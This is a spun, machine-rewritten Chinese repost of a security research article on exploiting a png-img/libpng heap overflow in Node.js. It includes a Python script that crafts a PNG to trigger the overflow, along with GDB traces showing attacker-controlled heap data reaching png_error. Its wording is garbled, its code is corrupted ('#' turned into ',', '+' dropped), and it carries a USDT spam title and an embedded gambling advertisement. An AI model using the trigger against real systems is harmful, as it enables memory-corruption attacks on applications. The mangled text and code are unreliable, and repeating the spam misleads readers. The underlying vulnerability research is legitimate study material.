usdt不用实名买卖(caibao.it):深入考察注释型语言背后隐藏的攻击面,Part 2(二)

在本文中,我们将深入地探讨,在通过外部函数接口(Foreign Function Interface,FFI)将基于C/C 的库“粘合”到注释语言的历程中,平安破绽是若何发生的。

(接上文)

从攻击者角度看问题

从攻击者的角度来看,领会我们可以控制什么,若何控制,以及我们可以影响什么,对于实现bug的可行使性至关主要。此外,可行使性还受到目的代码现实使用方式和地址的影响。

若是我们处置的是一个库代码中的bug,而这个库可能被用在更大的软件中,这就为我们作为攻击者提供了种种分外的交互机遇和影响力。此外,触发bug的操作环境也异常主要。操作系统、系统的硬件以及它们的软件生态系统都在种种设置中启用了差别级别的系统级缓解措施。在一个操作系统上可以通过缓解措施阻止的破绽可能在另一个操作系统上完全可以被行使。

在png-img案例中,假设我们面临的是最基本的攻击环境:一个单一的Javascript文件,需要png-img包,然后用它来加载攻击者提供的PNG文件。

var fs = require('fs');
PngImg = require('png-img');
var buf = fs.readFileSync('/home/anticomputer/trigger.png');
img = new PngImg(buf);

大多数现代内存损坏攻击都需要对目的历程内存结构有所领会。由于我们正在重写内存,以是知道它们在原始内存结构中的位置有助于我们组织替换性的,但功效正常的内存内容,以供目的历程使用。

作为攻击者,他们希望滥用这些新的内存内容来诱骗涉及它们的算法来执行对他们有利的操作。通常来说,攻击者的目的是执行随便代码或下令,但攻击者的目的也可能是更深奥的行为。例如,攻击者也可能想要重写身份验证标志,削弱随机数天生器,或以其他方式推翻软件中的平安要害逻辑。除此之外,纵然只是让一个历程不可用,自己就可以成为目的,由于它可能导致意想不到的平安影响。

由于缺乏内存结构缓解措施,我们可以对给定的目的二进制代码及其相关的内存结构举行盲目的假设,或者通过信息泄露来领会内存结构。

信息泄露可以是简朴的,例如通过其他的或重新设计的bug来泄露内存的内容,也可以是庞大的,例如使用基于计时或溃逃的探测方式来确定某个特定库的历程内存的某个部门可能存在的位置。需要注重的是,要想行使信息泄露来推进破绽行使历程,通常需要与目的流程举行频频交互。

由于在我们的single-shot场景中,我们将无法动态地领会目的历程的内存结构,因此,我们将不得不依赖运气和有凭据的预测相结合的方式,在触发内存损坏时判断内存中的位置信息。

首先,我们需要找出针对目的节点二进制文件必须处置的缓解措施。为此,我们可以使用GDB Enhanced Features(GEF)插件中提供的checksec下令。

我们可以看到,我们的目的二进制文件并非一个位置无关的可执行文件(Position Independent Executable,PIE)。这意味着,在统一平台上每次运行这个特定的二进制文件时,Node可执行文件的.text和.data段在内存中的位置保持稳定。这对我们的single-shot场景异常有辅助,由于这种知识给了我们一个进入可执行代码和程序数据已知位置的钩子。若是我们测试平台上的Node二进制文件被编译成PIE,由于地址空间结构随机化(ASLR)已经推广到了现代Linux上的PIE二进制文件,以是,在远程的single-shot场景中对这个破绽的现实行使会受到很大的阻碍。

若是我们没有类似GEF的checksec这样的工具可用,我们也可以直接使用file下令。由于PIE二进制文件就是类型为ET_DYN(共享工具文件)的Elf可执行文件,以是,它们将会显示为共享库,而非PIE二进制文件则是ET_EXEC(可执行文件)类型。例如,若是我们将非PIE Node二进制文件与我们测试平台(x86_64 Ubuntu 18.04.4LTS)上的PIE bash二进制文件举行对照,则需要注重以下几点:

[email protected]:~$ file /bin/bash
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped
[email protected]:~$ file /usr/bin/node
/usr/bin/node: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=ee756495e98cf6163ba85e13b656883fe0066062, with debug_info, not stripped进攻设计

现在,我们知道了响应的操作环境,以及在实验行使破绽时可能知道哪些内存内容,这样的话,我们可以最先决议我们要用堆内存控制手艺来推翻哪些算法了。

在这种情形下,会想到三个潜在的选择,从特定于应用程序到特定于平台的局限,详细如下所示:

1. 我们可以攻击在被损坏的堆内存上运行的png-img和libpng逻辑

2. 我们可以攻击在被损坏的堆内存上运行的Node.js注释器逻辑

3. 我们可以攻击在被损坏的堆内存上运行的系统库

对我们而言,这三个选项中哪一个最有意义,主要取决于我们愿意为破绽行使实验投入若干时间和精神。然则,就观点验证级别的事情来说,我们需要接纳最便捷的破绽行使途径。为了确定哪条路径,我们必须跟该破绽打交道,并举行一些动态剖析。

组织触发器

到目前为止,我们已经对许多事情举行了理论上的探讨。例如,我们探讨了攻击者判断某个bug是否值得行使时,会思量哪些因素。既然我们已经决议要实验行使png-img bug,那么是时刻最先鼓捣该bug自己了。

首先,让我们归纳出这个bug的基本触发条件:我们要建立一个PNG文件,用于触发整数溢出,从而导致data_数组内存分配不足,随后用我们精心制作的PNG行数据笼罩堆内存。此外,在libpng的PNG分块剖析历程中,我们还必须通过一些校验和检查,这样,我们的恶意PNG数据才气被顺遂接受,以举行后续处置。

PNG文件由一个PNG署名和一系列PNG分块组成。这些分块可以进一步分解为:一个4字节的分块长度、一个4字节的分块类型、一个可变长度的分块数据,以及一个4字节的分块类型和数据的CRC校验和。PNG中的第一个分块是IHDR分块,其中划定了图像的宽度和高度。

回首易受攻击的png-img绑定代码,我们可以发现图像高度是我们需要控制的变量之一,它用于触发整数溢出。另一个变量是一行的字节数。让我们来看看png-img,以及随后的libpng是若何从我们提供的PNG文件中填充这些数据的。

png-img中加载PNG数据的主要入口点是PngImg::PngImg组织函数,其内容如下所示:

PngImg::PngImg(const char* buf, const size_t bufLen)
    : data_(nullptr)
{
    memset(&info_, 0, sizeof(info_));
    PngReadStruct rs;
    if(rs.Valid()) {
        BufPtr bufPtr = {buf, bufLen};
        png_set_read_fn(rs.pngPtr, (png_voidp)&bufPtr, readFromBuf);
[1]
        ReadInfo_(rs);
 
 
        InitStorage_();
        png_read_image(rs.pngPtr, &rowPtrs_[0]);
    }
}

在[1]处,挪用了ReadInfo_,它现实上是一个通过libpng的png_read_info函数填充大多数PNG信息的函数。

void PngImg::ReadInfo_(PngReadStruct& rs) {
    png_read_info(rs.pngPtr, rs.infoPtr);
    info_.width = png_get_image_width(rs.pngPtr, rs.infoPtr);
    info_.height = png_get_image_height(rs.pngPtr, rs.infoPtr);
    info_.bit_depth = png_get_bit_depth(rs.pngPtr, rs.infoPtr);
    info_.color_type = png_get_color_type(rs.pngPtr, rs.infoPtr);
    info_.interlace_type = png_get_interlace_type(rs.pngPtr, rs.infoPtr);
    info_.compression_type = png_get_compression_type(rs.pngPtr, rs.infoPtr);
    info_.filter_type = png_get_filter_type(rs.pngPtr, rs.infoPtr);
    info_.rowbytes = png_get_rowbytes(rs.pngPtr, rs.infoPtr);
    info_.pxlsize = info_.rowbytes / info_.width;
}

png_read_info将遍历所有PNG分块,提取与PNG图像相关的信息,处置IHDR分块,并挪用png_handle_IHDR。

,

欧博客户端下载

欢迎进入欧博客户端下载(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,
/* Read and check the IDHR chunk */
void /* PRIVATE */
png_handle_IHDR(png_structrp png_ptr, png_inforp info_ptr, png_uint_32 length)
{
   png_byte buf[13];
   png_uint_32 width, height;
   int bit_depth, color_type, compression_type, filter_type;
   int interlace_type;
 
 
   png_debug(1, "in png_handle_IHDR");
 
 
   if (png_ptr->mode & PNG_HAVE_IHDR)
      png_chunk_error(png_ptr, "out of place");
 
 
   /* Check the length */
   if (length != 13)
      png_chunk_error(png_ptr, "invalid");
 
 
   png_ptr->mode |= PNG_HAVE_IHDR;
 
 
   png_crc_read(png_ptr, buf, 13);
   png_crc_finish(png_ptr, 0);
 
 
[1]
   width = png_get_uint_31(png_ptr, buf);
   height = png_get_uint_31(png_ptr, buf   4);
   bit_depth = buf[8];
   color_type = buf[9];
   compression_type = buf[10];
   filter_type = buf[11];
   interlace_type = buf[12];
 
 
   /* Set internal variables */
   png_ptr->width = width;
   png_ptr->height = height;
   png_ptr->bit_depth = (png_byte)bit_depth;
   png_ptr->interlaced = (png_byte)interlace_type;
   png_ptr->color_type = (png_byte)color_type;
,ifdef PNG_MNG_FEATURES_SUPPORTED
   png_ptr->filter_type = (png_byte)filter_type;
,endif
   png_ptr->compression_type = (png_byte)compression_type;
 
 
   /* Find number of channels */
   switch (png_ptr->color_type)
   {
      default: /* invalid, png_set_IHDR calls png_error */
      case PNG_COLOR_TYPE_GRAY:
      case PNG_COLOR_TYPE_PALETTE:
         png_ptr->channels = 1;
         break;
 
 
      case PNG_COLOR_TYPE_RGB:
         png_ptr->channels = 3;
         break;
 
 
      case PNG_COLOR_TYPE_GRAY_ALPHA:
         png_ptr->channels = 2;
         break;
 
 
      case PNG_COLOR_TYPE_RGB_ALPHA:
         png_ptr->channels = 4;
         break;
   }
 
 
   /* Set up other useful info */
   png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth *
   png_ptr->channels);
[2]
   png_ptr->rowbytes = PNG_ROWBYTES(png_ptr->pixel_depth, png_ptr->width);
   png_debug1(3, "bit_depth = %d", png_ptr->bit_depth);
   png_debug1(3, "channels = %d", png_ptr->channels);
   png_debug1(3, "rowbytes = %lu", (unsigned long)png_ptr->rowbytes);
   png_set_IHDR(png_ptr, info_ptr, width, height, bit_depth,
       color_type, interlace_type, compression_type, filter_type);
}

在[1]处,我们看到代码从IHDR分块数据中提取宽度和高度(整数);在[2]处,我们看到它通过PNG_ROWBYTES宏导出rowbytes值,这是凭据单个像素占用的位数将像素宽度简朴转换为示意行所需的字节数。例如,对于8位像素,16像素的宽度意味着16 rowbytes。

我们还注重到png_ptr结构体的填充处置,这是一个基于堆的libpng数据结构,存放所有特定于PNG的数据。其中,包罗种种函数指针,当libpng对我们的PNG数据举行操作时,将挪用这些指针。例如,当libpng遇到错误时,它将挪用png_error。

PNG_FUNCTION(void,PNGAPI
png_error,(png_const_structrp png_ptr, png_const_charp error_message),
   PNG_NORETURN)
{
…
[1]
   if (png_ptr != NULL && png_ptr->error_fn != NULL)
      (*(png_ptr->error_fn))(png_constcast(png_structrp,png_ptr),
          error_message);
 
 
   /* If the custom handler doesn't exist, or if it returns,
      use the default handler, which will not return. */
   png_default_error(png_ptr, error_message);
}

在[1]处我们看到,若是png_ptr结构体含有一个填充error_fn函数指针的字段,则挪用该函数指针时会将png_ptr结构体自己作为其第一个参数通报。

从攻击者的角度来看,领会受影响的软件若何与可能被我们控制的内存举行交互是很主要的。在这种情形下,我们已经确定libpng使用了一个基于堆的结构体,它包罗了函数指针,当错误发生时,这些指针会被挪用。作为一种重定向执行的方式,这在我们的破绽行使历程中可能会很有辅助,以是我们要注重这一点。

若是我们的破绽行使历程需要损坏png_ptr结构体,那么它就是滥用应用程序特定堆数据的一个好例子。

长话短说,假设这里使用的是8位像素,我们可以控制直接通过图像宽度得出的行字节值。因此,为了触发png-img bug,我们只需要建立这样一个有用的PNG文件:该文件包罗的高度和宽度将触发整数溢出,并提供足够的行数据来笼罩data_相邻的堆内存。

我们可以使用Python Pillow库快速地举行演示:

from PIL import Image
import os
import struct
import sys
import zlib
 
 
def patch(path, offset, data):
    f = open(path, 'r b')
    f.seek(offset)
    f.write(data)
    f.close()
 
 
trigger = 'trigger.png'
row_data = b'A' * 0x100000
width = 0x100
height = int(len(row_data)/width)
 
 
, create a template PNG with a valid height for our row_data
im = Image.frombytes("L", (width, height), row_data)
im.save(trigger, "PNG")
 
 
, patch in a wrapping size to trigger overwrap and underallocation
patch(trigger, 20, struct.pack('>L', 0x01000001))
 
 
, fix up the IHDR CRC so png_read_info doesn't freak out
f = open(trigger, 'rb')
f.seek(16)
ihdr_data = f.read(13)
f.close()
crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff
patch(trigger, 29, struct.pack('>L', crc))

当我们使用png-img加载天生的png文件时,将发生溃逃:

(gdb) r pngimg.js
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60942)]
[New Thread 0x7ffff6278700 (LWP 60943)]
[New Thread 0x7ffff5a77700 (LWP 60944)]
[New Thread 0x7ffff5276700 (LWP 60945)]
[New Thread 0x7ffff4a75700 (LWP 60946)]
[New Thread 0x7ffff7ff6700 (LWP 60947)]
 
 
Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
69      ../elf/dl-runtime.c: No such file or directory.
(gdb) x/i$pc
=> 0x7ffff7de4e52
(gdb) bt
,0  0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69
,1  0x00007ffff7dec81a in _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:125
,2  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
,3  0x00007ffff4034899 in png_read_image ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
,4  0x00007ffff40246d8 in PngImg::PngImg(char const*, unsigned long) ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
,5  0x00007ffff401e8fa in PngImgAdapter::New(Nan::FunctionCallbackInfo
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
,6  0x00007ffff401e56f in Nan::imp::FunctionCallbackWrapper ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
...
(gdb) i r rax
rax            0x4141414141414141       4702111234474983745
(gdb)

我们看到,由于_dl_fixup对堆内存举行了操作,而这些堆内存被我们的行数据笼罩,而行数据由大量的A字节(0x41)组成,以是我们溃逃了。

由此看来,有一些要害的历程会涉及我们控制的堆数据,于是就有了厥后的溃逃。我们看到,在_dl_fixup中,溃逃前最后挪用的libpng函数是png_read_row。

若是您没遗忘的话,我们最初的破绽行使理论是,我们或许能够损坏堆上的png_ptr数据,然后触发一个bug,导致libpng挪用我们提供给png_error的函数指针值——当它用完行数据时。然则,我们没有在png_error中溃逃,而是在_dl_fixup中溃逃了。

那么这是怎么回事呢?好吧,首先让我们确定png_read_row现实上是在实验挪用png_error。若是我们看一下png_read_row的反汇编输出,我们会注重到以下内容:

   0x00007ffff4032e45
   0x00007ffff4032e4c
   0x00007ffff4032e4f
   0x00007ffff4032e54
   0x00007ffff4032e5b
   0x00007ffff4032e5e
   0x00007ffff4032e63
   0x00007ffff4032e6a
   0x00007ffff4032e6d

我们注重到,png_error是通过历程链接表(procedure linkage table)挪用的。其中,第一个参数是通过RDI寄存器通报的png_ptr结构体指针,第二个参数是通过RSI寄存器通报的错误新闻。下面,让我们在[email protected]上设置断点,看看会发生什么。

(gdb) break [email protected]
Breakpoint 1 at 0x7ffff401d980
(gdb) r pngimg.js
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/bin/node pngimg.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6a79700 (LWP 60976)]
[New Thread 0x7ffff6278700 (LWP 60977)]
[New Thread 0x7ffff5a77700 (LWP 60978)]
[New Thread 0x7ffff5276700 (LWP 60979)]
[New Thread 0x7ffff4a75700 (LWP 60980)]
[New Thread 0x7ffff7ff6700 (LWP 60981)]
 
 
Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in [email protected] ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
(gdb) bt
,0  0x00007ffff401d980 in [email protected] ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
,1  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
…
(gdb) x/s $rsi
0x7ffff4066820: "Invalid attempt to read row data"
(gdb) x/16x $rdi
0x271f580:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x271f588:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
(gdb)

到目前为止,一切都很好!我们确着实试图用受控的png_ptr数据挪用png_error。但我们为什么会在_dl_fixup中溃逃,而不是获得函数指针控制权呢?

好吧,png_error是一个致命的错误处置程序。由于这是第一次挪用png_error,由于惰性链接的缘故,它现实上还没有被剖析和重定位。以是发生的情形是,历程链接表(PLT)中的指令会实验跳转到png_error的全局偏移表(GOT)跳转槽条目中包罗的地址,但这个地址正好指向png_error PLT条目,该条目中包罗的指令卖力挪用动态链接器的运行时剖析器。

我们可以单步跟踪这个历程,以便更好地明白它。

Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in [email protected] ()
   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d980
(gdb) x/gx 0x7ffff4274900
0x7ffff4274900: 0x00007ffff401d986
(gdb) si
0x00007ffff401d986 in [email protected] () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d986
(gdb) si
0x00007ffff401d98b in [email protected] () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401d98b
(gdb) si
0x00007ffff401c7a0 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a0:      pushq  0x257862(%rip)        , 0x7ffff4274008
(gdb) si
0x00007ffff401c7a6 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node
1: x/i $pc
=> 0x7ffff401c7a6:      jmpq   *0x257864(%rip)        , 0x7ffff4274010
(gdb) si
_dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:71
71      ../sysdeps/x86_64/dl-trampoline.h: No such file or directory.
1: x/i $pc
=> 0x7ffff7dec7a0
(gdb)

在这里,我们看到[email protected]通过GOT跳转槽跳回PLT的方式挪用剖析器。链接器卖力剖析和修复png_error的GOT跳转槽,这样以后的挪用就会直接进入png_error的准确位置。简朴来说,这就是惰性链接(lazy linking)的事情原理。

png-img库使用惰性链接举行按需符号剖析的事实也告诉我们,它只启用了部门重定位只读(RELRO)机制。还记得之前讲过的对Node.js二进制代码举行的平安检查吗?它已经启用了完全的RELRO机制。当完全启用RELRO时,给定二进制文件的GOT部门被标记为只读,以防止攻击者替换GOT中的函数指针值。完全RELRO意味着所有动态链接的函数都必须在二进制文件加载时由链接器剖析和重新定位,由于已经无法在运行时更新GOT。这是出于性能方面的思量,因此,我们经常会看到一些库代码由于这个原因而被编译成部门RELRO。

以是总结一下,我们的base node二进制文件并不是一个PIE,并已经启用了完全的RELRO,而我们的目的png-img库启用了部门RELRO。我们的堆溢出损坏了动态链接器用来剖析png-img库的函数的内存,而且我们还笼罩了png-img捆绑的libpng代码使用的png_ptr应用的特定数据。我们注重到,png_ptr是作为第一个参数通报给这个尚未剖析的png_error函数的。

到目前为止,有两条显著的破绽行使途径。我们可以实验触发获取链接器数据的堆结构,并执行挟制PNG_PTR函数指针的原始设计,也可以实验损坏动态链接器剖析器逻辑。

这就是事情变得有些不太确定的地方。我们的堆结构控制是基于我们提供给png-img的静态PNG文件的。我们可以将data_数组分配为图像宽度的倍数,由于该破绽允许我们使用图像的宽度和高度来触发一个32位的整数溢出。

我们再来看看存在破绽的代码。

void PngImg::InitStorage_() {
    rowPtrs_.resize(info_.height, nullptr);
[1]
    data_ = new png_byte[info_.height * info_.rowbytes];
 
 
[2]
    for(size_t i = 0; i < info_.height;   i) {
        rowPtrs_[i] = data_   i * info_.rowbytes;
    }
}

在[1]处,data_将是通过整数溢出笼罩的长度,这意味着我们可以使用height的低位字使data_size成为rowbytes的随便倍数。例如,若是希望data_为8字节,则可以将rowbytes设置为8,将height设置为((0xFFFFFFFF/8) 1) 1=0x20000001。

这意味着我们可以通过相当精致的方式控制data_chunk的分配巨细,从而合理地控制将其存放在堆中的位置。然则,在控制堆分配顺序方面,我们没有太多其他选择。若是我们能够更好的控制目的历程中内存的分配和释放的方式和时间,那么我们可能还可以思量攻击系统分配器(glibc)自己。然则,思量到我们受到缓解机制的诸多限制,若是对分配器没有足够的影响力的话,我们的PoC代码的可靠性将无法知足我们的最低要求。我们可以探索的一条途径是,行使其他PNG分块,以在触发内存损坏之前将堆“推拿”到一种有利的状态——若是我们的最初探索最终陷入僵局,我们将保留它作为一种选择。

作为开发人员,必须领会攻击者将凭据他们愿意花在破绽行使上面的资源和时间来探索破绽。纵然对于相对简朴的破绽(例如png-img堆溢出),我们也看到有一个怪异的攻击评估方案在起作用,它权衡了针对这里的代码,种种攻击计谋的优缺点。对于种种防御措施,要凭据特定平台和详细目的这两种角度举行考察。

小结

在本文中,我们将深入地探讨,在通过外部函数接口(Foreign Function Interface,FFI)将基于C/C 的库“粘合”到注释语言的历程中,平安破绽是若何发生的。由于篇幅过长,我们将分为多篇举行先容,更多精彩内容敬请期待!

本文翻译自:https://securitylab.github.com/research/now-you-c-me-part-two:
发表评论
sunbet声明:该文看法仅代表作者自己,与本平台无关。请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片

您可能还会对下面的文章感兴趣: